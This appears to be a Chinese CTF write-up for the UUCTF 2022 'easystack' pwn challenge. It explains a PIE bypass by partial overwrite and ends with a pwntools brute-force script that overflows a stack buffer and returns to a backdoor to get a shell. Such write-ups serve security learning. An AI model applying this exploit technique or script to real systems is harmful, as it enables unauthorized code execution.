【pwn】[UUCTF 2022 新生赛]easystack --pie爆破

发布时间 2023-11-12 21:19:10作者: GGBomb

查看程序保护

发现开了pie:

partial write(部分写入)就是一种利用PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP

简单来说就是后12位是不会被随机化的,接着看代码逻辑

发现有个后门的函数

可以getshell,但是问题是怎么溢出到这里,vuln函数的buf偏移是0x100,加上8个字节的覆盖rbp,那这个read函数只有2个字节可以利用,考虑低位绕过。看一下汇编

vuln函数:

main函数:

因为开了pie的缘故,导致后12位跟上图的一样,前面的字节全部随机化,我们现在可以将地址后12位覆盖成我们backdoor函数的偏移0x185,一个字节八位,我们还需要后面四位是什么,才能构造成16位(2个字节),后四位我们需要爆破

爆破脚本如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",28309)

for num in range(15):
    io=remote("node5.anna.nssctf.cn",28309)
    io.recvuntil(b"What's your name?\n")
    num=num<<0xc   #左移12位,因为要爆破后四位
    payload=b'a'*0x100+b'a'*0x8+p16(0x185+num)
    io.send(payload)
    if b"You are born to pwn!" in io.recv():
        io.interactive()
    io.close()